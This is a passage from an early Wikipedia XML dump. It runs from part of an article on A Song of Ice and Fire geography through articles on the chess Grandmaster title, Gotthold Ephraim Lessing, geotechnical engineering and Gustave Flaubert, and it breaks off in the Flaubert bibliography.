The Wall is manned by the Night's Watch, referred to disparagingly as &quot;crows&quot; because of their black uniform. The strength of the Night's Watch has waxed and waned throughout the history of Westeros. During the events of &quot;A Song of Ice and Fire&quot; the watch is much weaker and more disregarded than it has been in many generations.

====Castles Along the Wall====
*Westwatch-by-the-Bridge 
*The Shadow Tower 
*Sentinel Stand 
*Greyguard 
*Stonedoor 
*Hoarfrost Hill 
*Icemark 
*The Nightfort 
*Deep Lake 
*Queensgate, formerly known as Snowgate
*Castle Black 
*Oakenshield 
*Woodswatch-by-the-Pool 
*Sable Hall 
*Rimegate 
*The Long Barrow 
*The Torches 
*Greenguard 
*Eastwatch-by-the-Sea

===Winterfell===
Winterfell (possibly related to German for &quot;winter pelt&quot;) is the name given to both the ancient castle where the Starks live, and the surrounding town. Winterfell possesses a godswood of three square miles, with an ancient weirwood tree marking its center. It is also surrounded by a moat. As such a large castle, it also has several abandoned towers and sections, where few are known to go. The castle has deep catacombs where the bodies of Starks are burried, with statues to mark the crypts of the former lords of Winterfell and the old Kings of the North.

At the beginning of A Game of Thrones, Lord Eddard Stark was the Lord of Winterfell, and Warden of the North. Robb Stark, his oldest son, was the heir to Winterfell. Maester Luwin was a trusted counsellor, healer and tutor. Ser Rodrik Cassel was the master-at-arms, Jory Cassel was the captain of the guard.

{{spoiler}}

Winterfell has been attacked, captured, and burned, and now is an abandoned ruin, though its godswood still stands.

==Places on the Eastern Continent==

===Narrow Sea===
The Narrow Sea separates Westeros and the eastern continent. It is the main trade route between Westeros and the rest of the world.

Asshai borders the Jade Sea rather than the Narrow Sea but trading ships can pass between the two seas via the straits at Qarth.

===Valyria===
'''Valyria''' is a dead nation that was located on a peninsula of the Eastern Continent, and is the ancestral home of the [[House Targaryen]]. Valyria was destroyed when some as-yet undescribed &quot;doom&quot; was visited upon it several hundred years prior to the events of ''A Song of Ice and Fire''.  It is described as &quot;demon-haunted.&quot; What is left of Valyria has been fragmented into numerous smaller islands is surrounded by the forbidding Smoking Sea.

Valyria is also known for their blades of exceptional quality, specifically for the &quot;Valyrian steel&quot; the blades are made from.  The secret to the forging of such steel was apparently lost when Valyria &quot;fell.&quot;  As such, blades made from such steel are highly treasured and extremely rare. Many of these blades are the heirlooms of noble houses in Westeros. Ice, the greatsword of House Stark, is one such blade.

===Qarth===
A city in the far east, home to warlocks and merchant princes.

===Free cities===
The nine free cities are located between Westeros and the remains of Valyria. The nine Free Cities are Lys, Myr, Pentos, Braavos, Lorath, Norvos, Qohor, Volantis, and Tyrosh. Of these all but Norvos and Qohor are located along coasts or upon islands in the Narrow Sea.

==Notes and links==
===Notes===
# {{note|s-cont}} User mail #202. Verbatim citation by [[GRRM]].

===External links===

*[http://www.westeros.org/Citadel/Graphics/im_map-westeros-color.jpg A map updated through &lt;i&gt;A Feast for Crows&lt;/i&gt;]


[[Category:A Song of Ice and Fire]]
[[Category:Fantasy worlds]]

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  <page>
    <title>International Grandmaster</title>
    <id>12304</id>
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      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>disambig. [[Georgia]]</comment>
      <text xml:space="preserve">The title '''International Grandmaster''' is awarded to world-class [[chess]] masters by the world chess organization [[Fédération Internationale des Échecs|FIDE]]. Apart from &quot;World Champion&quot;, Grandmaster is the highest title a chess player can attain. 

It is a lifetime title, in chess literature usually abbreviated as '''GM''' or ''IGM'' (this is in contrast to ''FM'' for [[FIDE Master]] and ''IM'' for [[International Master]]).  

GM, IM, and FM are open to both men and women.  A separate gender-segregated title, ''WGM'' for [[Woman Grandmaster]], is also available, but is something of a [[misnomer]].  It is awarded for a level of skill between that of a FIDE Master and an International Master.  In 1991 [[Susan Polgar]] became the first woman to earn the GM title under the same conditions as the men, and these days most of the top 10 women hold the GM title.

The requirements for becoming a Grandmaster are somewhat complex. A player must have an [[ELO rating system|ELO chess rating]] of at least 2500 at one time (although they need not maintain this level to keep the title). A rating of 2400 or higher is required to become an International Master. In addition, three favorable results (called ''norms'') in tournaments involving other Grandmasters, including some from countries other than the applicant's,  are usually required before FIDE will confer the title on a player. There are other milestones a player can achieve to get the title, such as winning the World Junior Championship.  Current regulations may be found in the FIDE Handbook [http://www.fide.com/official/handbook.asp?level=B0101].

International Grandmaster titles are also awarded to [[correspondence chess]] players by the [[International Correspondence Chess Federation]], and composers and solvers of [[chess problem]]s.

==Origin and Current Statistics==
The title &quot;Grandmaster&quot; was first formally conferred by [[Russian Tsar Nicholas II]], who in [[1914]] awarded it to five players ([[Emanuel Lasker|Lasker]], [[Jose Raul Capablanca|Capablanca]], [[Alexander Alekhine|Alekhine]], [[Siegbert Tarrasch|Tarrasch]] and [[Frank Marshall|Marshall]]), who were finalists of a tournament in [[Saint Petersburg]] which he had partially funded. The tournament was won by Lasker ahead of Capablanca.

FIDE first awarded the International Grandmaster title in 1950 to 27 players. These players were [[Ossip Bernstein|Bernstein]], [[Isaac Boleslavsky|Boleslavsky]], [[Igor Bondarevsky|Bondarevsky]], [[Mikhail Botvinnik|Botvinnik]], [[David Bronstein|Bronstein]], [[Oldrich Duras|Duras]], [[Max Euwe|Euwe]], [[Reuben Fine|Fine]], [[Salo Flohr|Flohr]], [[Ernst Grünfeld|Grünfeld]], [[Paul Keres|Keres]], [[Borislav Kostić|Kostić]], [[Alexander Kotov|Kotov]], [[Grigory Levenfish|Levenfish]], [[Andor Lilienthal|Lilienthal]], [[Geza Maroczy|Maroczy]], [[Jacques Mieses|Mieses]], [[Miguel Najdorf|Najdorf]], [[Viacheslav Ragozin|Ragozin]], [[Samuel Reshevsky|Reshevsky]], [[Akiba Rubinstein|Rubinstein]], [[Friedrich Sämisch|Sämisch]], [[Vasily Smyslov|Smyslov]], [[Gideon Stahlberg|Stahlberg]], [[László Szabó (chess player)|Szabó]], [[Ksawery Tartakower|Tartakower]], and [[Milan Vidmar|Vidmar]]. 

In 1972 there were only 88 GM's with 33 being Russian. In July 2005, the FIDE ratings list included over 900 grandmasters; see [[list of chess players]]  and [[:Category:Chess grandmasters|category chess grandmasters]] for some of them.  The increase is at least partly due to the greater ease of travel, which makes it simpler to organize the international tournaments required to provide norm opportunities.  

The Grandmaster title retains its prestige because it represents a very high level of chess performance against other titled players.  A chess master is typically in the top 2% of all tournament players.  A Grandmaster is typically in the top 0.02% percent at the time he or she earns the title. [http://www.uschess.org/ratings/ratedist.html]

==&quot;Super-grandmaster&quot;==
A player whose ELO rating is over 2700 is sometimes informally called a &quot;super-GM&quot;.
From 1970 when FIDE first adopted the ELO rating system to January 2006, there have been only 38 players who have achieved a peak rating of 2700 or more.  
Below is a list compiled by [http://www.chessbase.com/newsdetail.asp?newsid=2489 Przemek Jahr]. This list however does not account for the [[inflation]] of ELO ratings over time, as is evident by the fact that almost all of these peak ratings are from recent years.

{| class=&quot;wikitable&quot;
!Rank
!Rating
!Player
!Date
!Country
|-
|1.
|2851
|[[Garry Kasparov]]
|1999.07
|[[Russia]]
|-
|2.
|2809
|[[Vladimir Kramnik]]
|2002.01
|[[Russia]]
|-
|3.
|2801
|[[Veselin Topalov]]
|2006.01
|[[Bulgaria]]
|-
|4.
|2797
|[[Viswanathan Anand]]
|2001.07
|[[India]]
|-
|5.
|2785
|[[Bobby Fischer]]
|1972.04
|[[USA]]
|-
|6.
|2780
|[[Anatoly Karpov]]
|1994.07
|[[Russia]]
|-
|7.
|2765
|[[Peter Svidler]]
|2006.01
|[[Russia]]
|-
|8.
|2763
|[[Péter Lékó]]
|2005.04
|[[Hungary]]
|-
|9.
|2758
|[[Alexander Morozevich]]
|1999.07
|[[Russia]]
|-
|10.
|2755
|[[Michael Adams]]
|2000.07
|[[England]]
|-
|11.
|2752
|[[Vassily Ivanchuk]]
|2005.07
|[[Ukraine]]
|-
|12.
|2752
|[[Levon Aronian]]
|2006.01
|[[Armenia]]
|-
|13.
|2751
|[[Alexei Shirov]]
|2000.01
|[[Spain ]]
|-
|14.
|2745
|[[Gata Kamsky]]
|1996.07
|[[USA]]
|-
|15.
|2743
|[[Ruslan Ponomariov]]
|2002.04
|[[Ukraine]]
|-
|16.
|2739
|[[Evgeny Bareev]]
|2003.10
|[[Russia]]
|-
|17.
|2735
|[[Judit Polgar]]
|2005.07
|[[Hungary]]
|-
|18.
|2732
|[[Alexander Grischuk]]
|2003.07
|[[Russia]]
|-
|19.
|2731
|[[Etienne Bacrot]]
|2005.04
|[[France]]
|-
|20.
|2724
|[[Boris Gelfand]]
|2005.07
|[[Russia]]
|-
|21.
|2715
|[[Valery Salov]]
|1995.01
|[[ Russia]]
|-
|22.
|2714
|[[Loek van Wely]]
|2001.10
|[[The Netherlands]]
|-
|23.
|2712
|[[Nigel Short]]
|2004.04
|[[England]]
|-
|24.
|2710
|[[Alexander Beliavsky]]
|1997.07
|[[Slovenia]]
|-
|25.
|2709
|[[Shakhriyar Mamedyarov]]
|2006.01
|[[Azerbaijan]]
|-
|26.
|2707
|[[Vladimir Akopian]]
|2005.10
|[[Armenia]]
|-
|27.
|2707
|[[Liviu-Dieter Nisipeanu]]
|2005.10
|[[Romania]]
|-
|28.
|2706
|[[Rustam Kasimdzhanov]]
|2001.10
|[[Uzbekistan]]
|-
|29.
|2706
|[[Ivan Sokolov]]
|2004.01
|[[The Netherlands]]
|-
|30.
|2705
|[[Mikhail Tal]]
|1980.01
|[[Latvia]]
|-
|31.
|2705
|[[Alexey Dreev]]
|2003.10
|[[Russia]]
|-
|32.
|2704
|[[Teimour Radjabov]]
|2006.01
|[[Azerbaijan]]
|-
|33.
|2702
|[[Michal Krasenkow]]
|2000.07
|[[Poland]]
|-
|34.
|2702
|[[Ilia Smirin]]
|2001.07
|[[Israel]]
|-
|35.
|2702
|[[Alexander Khalifman]]
|2001.10
|[[Russia]]
|-
|36.
|2702
|[[Zurab Azmaiparashvili]]
|2003.07
|[[Georgia (country)|Georgia]]
|-
|37.
|2700
|[[Vladimir Malakhov (chess)|Vladimir Malakhov]]
|2004.01
|[[Russia]]
|-
|38.
|2700
|[[Viktor Bologan]]
|2005.04
|[[Moldova]]
|}

== Title Inflation ==
Some people have argued that the players currently awarded the title of Grandmaster are not as dominant as those five original Grandmasters were in their day. Lasker, Capablanca and Alekhine were all World Champions, and both Tarrasch and Marshall were strong enough to play world title matches (both losing against Lasker). Tarrasch was regarded as the strongest player in the world in the period between the decline of Steinitz and the rise of Lasker. 

This argument says that the title of Grandmaster ought to be reserved for those who, at some time in their lives, become serious contenders for the World Championship, or who have actually held that title. Otherwise, a &quot;super-GM&quot; designation becomes necessary in order to refer to that group, leading to an accumulation of superlatives.

== See also ==
* [[Chess prodigy#List of youngest grandmasters|List of youngest grandmasters]]

[[Category:Chess titles]]
[[Category:Chess grandmasters| ]]

[[da:Skakstormester]]
[[de:Großmeister (Schach)]]
[[el:Διεθνής γκρανμαίτρ]]
[[es:Gran Maestro Internacional]]
[[fr:Grand-maître international]]
[[it:Grande Maestro Internazionale]]
[[he:רב אמן בשחמט]]
[[nl:Grootmeester (schaken)]]
[[pl:Arcymistrz]]
[[sl:Šahovske kategorije in naslovi]]</text>
    </revision>
  </page>
  <page>
    <title>Gotthold Ephraim Lessing</title>
    <id>12305</id>
    <revision>
      <id>40795724</id>
      <timestamp>2006-02-23T01:50:25Z</timestamp>
      <contributor>
        <username>Rms125a@hotmail.com</username>
        <id>376014</id>
      </contributor>
      <minor />
      <comment>international nominals required for European subjects per Jtdirl</comment>
      <text xml:space="preserve">&lt;div style=&quot;float:right; margin-left: 7px; margin-bottom: 7px;&quot;&gt;[[Image:Lessing_signature.png]]&lt;/div&gt;

'''Gotthold Ephraim Lessing''' ([[22 January]], [[1729]] &amp;ndash; [[15 February]], [[1781]]), writer, philosopher, publicist, and art critic, was one of the most outstanding [[Germany|German]] representatives of [[the Enlightenment]] era. With his plays and his theoretical writings he substantially influenced the development of German literature.

==Life==
&lt;div style=&quot;float:right; margin-left: 7px; margin-bottom: 7px;&quot;&gt;[[Image:Gotthold_Ephraim.jpg]]&lt;/div&gt;
Lessing was born in [[Kamenz]], a little town in [[Saxony]]. His father was a clergyman and the author of theological writings. After visiting Latin School in Kamenz (from 1737 onwards) and the Fürstenschule St. Afra in [[Meissen]] (from 1741 onwards) he studied theology and medicine in [[Leipzig]] (1746-1748). 

From 1748 to 1760 he lived in Leipzig and [[Berlin]] and worked as reviewer and editor for, amongst others, the ''Vossische Zeitung''. In 1752 he took his Master's degree in [[Wittenberg]]. From 1760 to 1765 he worked in [[Breslau]] (now Wroclaw) as secretary to a General Tauentzien. In 1765 he returned to Berlin, only to leave again in 1767 to work for three years as a dramaturge and adviser at the German National Theatre in [[Hamburg]]. There he met [[Eva König]], his future wife.

In 1770 Lessing became a [[librarian]] at the Herzog-August-Bibliothek in [[Wolfenbüttel]]. His tenure there was interrupted by many travels. For example, in 1775 he journeyed to [[Italy]] accompanied by Prince Leopold.

In 1776 he married Eva König, who was widowed now, in Jork (near Hamburg). She died in 1778 after giving birth to a short-lived son. 

On [[15 February]], [[1781]], Lessing died during a visit to the wine dealer Angott in [[Braunschweig (city)|Braunschweig]], aged 52.

==Work==

Lessing was a poet, philosopher and critic. As an outstanding representative of the [[German Enlightenment]] he became the leading figure for the new self-confidence of the [[bourgeoisie]]. His theoretical and critical writings are remarkable for their often witty and ironic style and their unerring polemics. Hereby the stylistic device of dialogue met with his intention of looking at a thought from different angles and searching for elements of truth even in the arguments made by his opponents. For him this truth was never solid or something  which could be owned by someone but always a process of approaching.

He early showed interest in the theatre. In his theoretical and critical writings on the subject -- as in his own plays -- he tried to contribute to the development of a new bourgeois theatre in Germany. With this he especially turned against the then predominant [[literary theory]] of [[Gottsched]] and his followers. He particularly criticised the simple imitation of the French example and pleaded for a recollection of the classic theorems of [[Aristotle]] and for a serious reception of [[William Shakespeare|Shakespeare]]'s works. He worked with many theatre groups (e.g. the one of the [[Neuberin]]).

In Hamburg he tried with others to set up the German National Theatre. Today his own works appear as prototypes of the later developed bourgeois German drama. ''Miß Sara Sampson'' and ''[[Emilia Galotti]]'' are seen as the first [[bourgeois tragedy |bourgeois tragedies]], ''Minna of Barnhelm'' ('''Minna von Barnhelm''') as the model for many classic German comedies, ''Nathan the Wise'' ('''Nathan der Weise''') as the first ideological idea drama (&quot;Ideendrama&quot;). His theoretical writings '''Laokoon''' and '''Hamburgian Dramaturgy''' ('''Hamburgische Dramaturgie''') set the standards for the discussion of aesthetic and literary theoretical principles.

In his religious and philosophical writings he defended the faithful Christian's right for freedom of thought. He argued against the belief in revelation and the holding on to a literal interpretation of the Bible by the predominant orthodox doctrine. As a child of the Enlightenment he trusted in a &quot;Christianity of Reason&quot;, which oriented itself by the spirit of religion. He believed that human reason (initiated by criticism and dissent) would develop, even without help by a divine revelation.

In addition, he spoke up for [[tolerance]] of the other world religions in many arguments with representatives of the predominant schools of thought (e.g. within the &quot;Anti-Goeze&quot;). He also worked this position into his dramatic work (in '''Nathan der Weise''') when he was forbidden to publish further theoretical writings. In his writing ''The Education of Humankind'' ('''Die Erziehung des Menschengeschlechts''') he extensively and coherently lays out his position.

The idea of freedom (for the theatre against the dominance of its French model; for religion from the church's dogma) is his central theme throughout his life. Therefore he also stood up for the liberation of the upcoming bourgeoisie from the nobility making up their minds for them.

In his own literary existence he also constantly strove for independence. But his ideal of a possible life as a free author was hard to keep up against the economic constraints he faced. His project of authors self-publishing their works, which he tried to accomplish in Hamburg with [[C.J. Bode]], failed.

==Select bibliography==

: ''The Young Scholar'' (''Der junge Gelehrte'') (1748)
: ''The Freethinker'' (''Der Freigeist'') (1749)
: ''The Jews'' (''Die Juden'') (1749)
: ''Miß Sara Sampson'' (1755)
: ''Philotas'' (1759)
: ''Fables'' (''Fabeln'') (1759)
: ''Laokoon oder Ueber die Grenzen der Malerei und Poesie'' (1766)
: ''Minna of Barnhelm'' (''Minna von Barnhelm'') (1767)
: ''[[Emilia Galotti]]'' (1772)
: ''Anti-Goeze'' (1778)
: ''Nathan the Wise'' (''[[Nathan der Weise]]'') (1779)
: ''Ernst und Falk - Gespräche für [[Freemasonry|Freymäurer]]'' (1776-1778)
: ''The Education of Humankind'' (''Die Erziehung des Menschengeschlechts'') (1780)

==See also==
* [[Greek revival]]

==External links==
* {{gutenberg author| id=Gotthold+Ephraim+Lessing | name=Gotthold Ephraim Lessing}}
* [http://gutenberg.spiegel.de/autoren/lessing.htm Lessing's works online (in German)]

[[Category:1729 births|Lessing, Gotthold Ephraim]]
[[Category:1781 deaths|Lessing, Gotthold Ephraim]]
[[Category:Enlightenment philosophers|Lessing, Gotthold Ephraim]]
[[Category:German dramatists and playwrights|Lessing, Gotthold Ephraim]]
[[Category:German writers|Lessing, Gotthold Ephraim]]
[[Category:German poets|Lessing, Gotthold Ephraim]]
[[Category:Freemasons|Lessing, Gotthold Ephraim]]

[[da:Gotthold Ephraim Lessing]]
[[de:Gotthold Ephraim Lessing]]
[[es:Gotthold Ephraim Lessing]]
[[eo:Gotthold Ephraim LESSING]]
[[fr:Gotthold Ephraim Lessing]]
[[he:גוטהולד אפרים לסינג]]
[[ka:ლესინგი, გოტჰოლდ ეფრაიმ]]
[[hu:Gotthold Ephraim Lessing]]
[[nl:Gotthold Ephraim Lessing]]
[[ja:ゴットホルト・エフライム・レッシング]]
[[no:Gotthold Ephraim Lessing]]
[[nn:Gotthold Ephraim Lessing]]
[[pl:Gotthold Ephraim Lessing]]
[[pt:Gotthold Ephraim Lessing]]
[[ru:Лессинг, Готхольд Эфраим]]
[[fi:Gotthold Ephraim Lessing]]
[[sv:Gotthold Ephraim Lessing]]
[[zh:戈特霍尔德·埃夫莱姆·莱辛]]</text>
    </revision>
  </page>
  <page>
    <title>Geotechnical engineering</title>
    <id>12306</id>
    <revision>
      <id>42083070</id>
      <timestamp>2006-03-03T18:37:12Z</timestamp>
      <contributor>
        <username>Ruwanraj</username>
        <id>708866</id>
      </contributor>
      <comment>/* Recommended Reading */</comment>
      <text xml:space="preserve">[[Image:Boston_CAT_Project-construction_view_from_air.jpeg|thumb|right|200px|Boston's Big Dig presented geotechnical challenges in an urban environment.]]

'''Geotechnical engineering''' is concerned with the [[engineering]] properties of earth materials.  Geotechnical engineers investigate the [[soil]] and [[bedrock (geology)|bedrock]] below a site to confirm their engineering properties as they will relate to the proposed costruction.  The geotechnical engineer determines and designs the type of foundations and pavements required for the intended man-made structures to be built.  This includes such structures as high-rise buildings, bridges, highways, and tunnels but also include smaller structures such as a single family home built on a steep hillside.  They also design structures built in or of soil or rock.  The foundations built for above-ground structures include shallow [[foundation (architecture)|foundations]] (footings), deep foundations (driven [[pile]]s and drilled piers), and [[retaining wall]]s.  [[Dam]]s and [[embankment]]s are structures built of soil or rock; [[tunnel]]s are structures built through soil or rock.  Geotechnical engineers also assess the risk to humans, property and the environment from natural hazards such as [[earthquakes]], [[landslide]]s, debris flows, and rock falls (all involving natural materials).  Geotechnical Engineering is also applicable to coastal and ocean engineering applications, such as construction of wharves, marinas, jetties, as well as foundation/anchor systems for offshore structures such as oil platforms.

[[Karl Terzaghi]] is widely considered the father of soil mechanics and geotechnical engineering.  Foundations are of two types.  Shallow foundations and deep foundations. Deep foundations could be piles, caissons and other structures that goes deep into the ground.  Piles are usually made of timber, steel, fiber glass and other composite material. ''(Rajapakse 2004, see reference). 
== Soil investigations ==
=== In Situ Methods ===
* SPT - [[Standard Penetration Test]]
* CPT - Cone Penetration Test
* CPM - Cone Pressuremeter Test
* DMT - Flat Plate Dilatometer Test
* PMT - Pre-bored Pressuremeter Test
* VST - Vane Shear Test

=== Geophysical Methods ===
* Mechanical waves (pressure, shear, and [[Rayleigh waves]])
** Crosshole method
** Downhole method (Seismic CPT)
** Surface wave methods (e.g., SASW and MASW)
** Seismic reflection
** Seismic refraction
* Electromagnetic (radar, resistivity)
* Optical/Acoustic Televiewer Survey

=== Lab tests ===
* [[Atterberg Limits]] (ASTM D 4318)
* Grain Size Analysis and Hydrometer Tests
* Compaction Tests - including Standard Proctor (ASTM D 698), Modified Proctor (ASTM D 1557), and California Bearing Ratio (ASTM D 1883) Tests
* [[Direct Shear Test]]
* Unconfined Compression (UC) (ASTM D2166)
* Triaxial Tests
** CD - Consolidated drained
** CU - Consolidated undrained (ASTM D 4647)
** UU - Unconsolidated undrained (ASTM D 2850)
* Oedometer Test - including consolidation (ASTM D 2435) and swell tests (ASTM D 4546)
* Soil Suction Tests (ASTM D 5298)

== Recommended Reading ==
*Holtz, R. and Kovacs, W. (1981), ''An Introduction to Geotechnical Engineering'', Prentice-Hall, Inc. ISBN 0-13-484394-0
*Bowles, J. (1988), ''Foundation Analysis and Design'', McGraw-Hill Publishing Company. ISBN 0-07-006776-7
*Rajapakse, R., &quot;Pile Design and Construction Guide&quot;, 2004, www.geotechweb.com

== See also ==
* [[Civil engineering]]
* [[Soil mechanics]]
*[[Critical State Soil Mechanics]]
*[[Effective stress]]
* [[Engineering geology]]
* [[List of publications in geology#Geotechnical engineering| Important publications in geotechnical engineering]]
* [[Rock mass classifications]]
* [[Earthworks (engineering)|Earthworks]]
* [[LIMS|Laboratory Information Management Systems]]

[[Category:Civil engineering]]
{{sci-stub}}

[[ja:土質力学]]
[[vi:Kỹ thuật địa chất]]
[[zh:土力工程]]</text>
    </revision>
  </page>
  <page>
    <title>Gustave Flaubert</title>
    <id>12307</id>
    <revision>
      <id>41890582</id>
      <timestamp>2006-03-02T11:44:12Z</timestamp>
      <contributor>
        <username>Pedrose</username>
        <id>480225</id>
      </contributor>
      <minor />
      <comment>/* Life */</comment>
      <text xml:space="preserve">[[Image:GustaveFlaubert.jpg|right|thumb|170px|Gustave Flaubert]]
{{French literature (small)}}
'''Gustave Flaubert''' ([[December 12]], [[1821]] &amp;ndash; [[May 8]], [[1880]]) [{{IPA|gystav flobɛ:ʁ}}] was a [[France|French]] [[novelist]] who is counted among the greatest [[Western literature|Western novelists]]. He is known especially for his first published [[novel]] ''[[Madame Bovary]]'' and for his scrupulous devotion to his art and style, best exemplified by his endless search for ''le mot juste'' (&quot;the precise word&quot;). He was born in [[Rouen]], [[Seine-Maritime]], in the [[Haute-Normandie]] Region of [[France]]. 

== Life ==

Flaubert's father, who serves as a model for the character Dr. Larivière in ''[[Madame Bovary]]'', was a [[surgery|surgeon]] in practice at Rouen; his mother was connected with some of the oldest [[Normans|Norman]] families. He was educated in his native city and did not leave it until [[1840]], when he went to [[Paris]] to study [[law]]. He is said to have been idle at school, but to have been occupied with literature from the age of eleven. Flaubert in his youth was full of vigour and a certain shy grace, enthusiastic, intensely individual, and apparently without a trace of ambition. 
He loved the country and Paris was extremely distasteful to him. He made the acquaintance of [[Victor Hugo]], and towards the close of 1840 he travelled in the [[Pyrenees]] and [[Corsica]]. Returning to Paris, he wasted his time daydreaming, living on his patrimony. In [[1846]], Flaubert abandoned Paris and the study of the law and returned to Croisset, close to Rouen, where he lived with his mother. This estate, a house in a pleasant piece of ground which ran down to the Seine, became Flaubert's home for the remainder of his life. From [[1846]] to [[1854]] he had an affair with the poet [[Louise Colet]]; his letters to her have been preserved, and according to Émile Faguet, their affair was the only sentimental episode of any importance in the life of Flaubert, who never married. His principal friend at this time was [[Maxime du Camp]], with whom he travelled in [[Brittany]] in 1846 and to [[Greece]] and [[Egypt]] in [[1849]]. This trip made a profound impression upon the imagination of Flaubert. From this time forth, save for occasional visits to Paris, he did not stir from Croisset.

On returning from the East, in [[1850]], he began writing ''[[Madame Bovary]]''. He had previously written a novel, ''The Temptation of St. Anthony'', but was unhappy with the result. It took him six years to write ''[[Madame Bovary]]''. The novel was serialized in the ''[[Revue de Paris]]'' in [[1857]]. The government brought an action against the publisher and against the author on the charge of immorality, but both were acquitted. When ''Madame Bovary'' appeared in book form it met with a very warm reception. Flaubert paid a visit to [[Carthage]] in [[1858]] in order to gather material for his next novel, ''[[Salammbô]]'', which was not finished until [[1862]] in spite of the author's ceaseless labors. 

He then took up again the study of contemporary manners, and, making use of many recollections of his youth and childhood, wrote ''L'Éducation sentimentale'' (''[[Sentimental Education]]''), the composition of which occupied him for seven years. It was published in [[1869]]. Up to this time Flaubert's sequestered and laborious life had been comparatively happy, but soon suffered a series of misfortunes. During the [[Franco-Prussian War|war of 1870]], Prussian soldiers occupied his house. He began to suffer from nervous maladies. 

His best friends were taken from him by death or by misunderstanding; in [[1872]] he lost his mother, and his circumstances became greatly reduced. He was very tenderly guarded by his niece, Caroline Commanville; he enjoyed a rare intimacy of friendship with [[George Sand]], with whom he carried on a correspondence of immense artistic interest, and occasionally he saw his Parisian acquaintances, [[Zola]], [[Alphonse Daudet]], [[Turgenev]], and [[Edmond de Goncourt|Edmond]] and [[Jules de Goncourt]]; but nothing prevented the close of Flaubert's life from being desolate and melancholy. He did not cease, however, to work with the same intensity and thoroughness. ''La Tentation de Saint-Antoine'', of which fragments had been published as early as 1857, was at length completed and sent to press in [[1874]]. In that year he was subjected to a disappointment by the failure of his drama ''Le Candidat''. In [[1877]] Flaubert published in one volume entitled ''Trois contes'' (''[[Three Tales]]''), ''Un Cœur simple'', ''La Légende de Saint-Julien l'Hospitalier'' and ''Hérodias''. He spent the remainder of his life toiling at a vast satire on the futility of human knowledge and the ubiquity of mediocrity, which he left unfinished. This is the depressing and bewildering ''[[Bouvard et Pécuchet]]'' (posthumously printed, 1881), which he believed to be his masterpiece. 

Flaubert had aged rapidly since [[1870]], and he seemed quite an old man when he was carried off by [[apoplexy]] at the age of only 58 in 1880. He died at Croisset but was buried in the family vault in the cemetery of Rouen. A beautiful monument to him by [[Henri Chapu]] was unveiled at the museum of Rouen in [[1890]].

The personal character of Flaubert offered various peculiarities. He was shy, and yet extremely sensitive and arrogant; he passed from silence to an indignant and noisy flow of language. The same inconsistencies marked his physical nature; he had the build of a guardsman with a Viking head, but his health was uncertain from childhood, and he was neurotic to the last degree. This ruddy giant was secretly gnawed by misanthropy and disgust of life. His hatred of the bourgeois began in his childhood and developed into a kind of [[monomania]]. He despised his fellow-men, their habits, their lack of intelligence, their contempt for beauty, with a passionate scorn which has been compared to that of an ascetic monk.

== Work and legacy ==

Flaubert's curious modes of composition favored and were emphasized by these peculiarities. He worked in sullen solitude, sometimes occupying a week in the completion of one page, never satisfied with what he had composed, violently tormenting his brain for the best turn of a phrase, the most absolutely final adjective. It cannot be said that his incessant labors were not rewarded. His private letters show that he was not one of those to whom easy and correct language is naturally given; he gained his extraordinary perfection with the unceasing sweat of his brow. One of the most severe of academic critics admits that in all his works, and in every page of his works, Flaubert may be considered a model of style. 

That he was one of the greatest writers who ever lived in France is now commonly admitted, and his greatness principally depends upon the extraordinary vigour and exactitude of his style. Less perhaps than any other writer, not of France, but of modern Europe, Flaubert yields admission to the inexact, the abstract, the vaguely inapt expression which is the bane of ordinary methods of composition. He never allowed a [[cliché]] to pass him, never indulgently or wearily went on, leaving behind him a phrase which almost expressed his meaning. Being, as he is, a mixture in almost equal parts of the [[romanticism|romanticist]] and the [[Realism (arts)|realist]] , the marvellous propriety of his style has been helpful to later writers of both schools, of every school. The absolute exactitude with which he adapts his expression to his purpose is seen in all parts of his work, but particularly in the portraits he draws of the figures in his principal romances. The degree and manner in which, since his death, the fame of Flaubert has extended, form an interesting chapter of literary history. 

The publication of ''Madame Bovary'' in 1857 had been followed by more scandal than admiration; it was not understood at first that this novel was the beginning of something new, the scrupulously truthful portraiture of life. Gradually this aspect of his genius was accepted, and began to crowd out all others. At the time of his death he was famous as a realist, pure and simple. Under this aspect Flaubert exercised an extraordinary influence over [[Edmond de Goncourt]], Alphonse Daudet and Zola. But even after the decline of the realistic school Flaubert did not lose prestige; other facets of his genius caught the light. It has been perceived that he was not merely realistic, but real; that his clairvoyance was almost boundless; that he saw certain phenomena more clearly than the best of observers had done. Flaubert is a writer who must always appeal more to other authors than to the world at large, because the art of writing, the indefatigable pursuit of perfect expression, were always before him, and because he hated the lax felicities of improvisation as a disloyalty to the most sacred procedures of the literary artist.

He can be said to have made [[cynicism]] into an art-form, as evinced by this observation from 1846:

:''To be stupid, and selfish, and to have good health are the three requirements for happiness; though if stupidity is lacking, the others are useless.''

His ''Œuvres Complètes'' (8 vols., [[1885]]) were printed from the original manuscripts, and included, besides the works mentioned already, the two plays, ''Le Candidat'' and ''Le Château des cœurs''. Another edition (10 vols.) appeared in [[1873]]&amp;ndash;[[1885]]. Flaubert's correspondence with George Sand was published in [[1884]] with an introduction by [[Guy de Maupassant]].

He has been admired or written about by almost every major literary personality of the [[20th century]], including [[philosopher]]s such as [[Pierre Bourdieu]]. [[Georges Perec]] named ''[[Sentimental Education]]'' as one of his favourite novels. The Peruvian novelist [[Mario Vargas Llosa]] is another great admirer of Flaubert. Apart from ''Perpetual Orgy'', which is solely devoted to Flaubert's art, one can find lucid discussions in Vargas Llosa's recently published ''Letters to a Young Novelist''.

==Bibliography==
===Major Works===
*''[[Madame Bovary]]'' ([[1857]])
*''[[Salammbô (novel)|Salammbô]]'' ([[1862]]) 
*''L'Éducation sentimentale'' ([[1869]]) (tr. ''[[Sentimental Education]]'')
*''La Tentation de Saint Antoine'' ([[1874]]) (tr. ''[[The Temptation of Saint Anthony]]'')
*''Trois contes'' ([[1877]]) (tr. ''[[Three Tales (novel)|Three Tales]]'')
*''[[Bouvard et Pécuchet]]'' ([[1881]], posthumously published)
*''Dictionnaire des idées reçues'' ([[1911]], posthumously published, tr. ''[[Dictionary of Received Ideas]]'')

===Correspondence (in English)===
*Selections:
**''Selected Letters'' (ed. Francis Steegmuller, [[1953]], [[2001]])
**''Selected Letters'' (ed. Geoffrey Wall, [[1997]])
*''Flaubert in Egypt'' ([[1972]])
*''Flaubert and Turgenev, a Friendship in Letters: The Complete Correspondence'' (ed. Barbara Beaumont, [[1985]])
*Correspondence with George Sand:
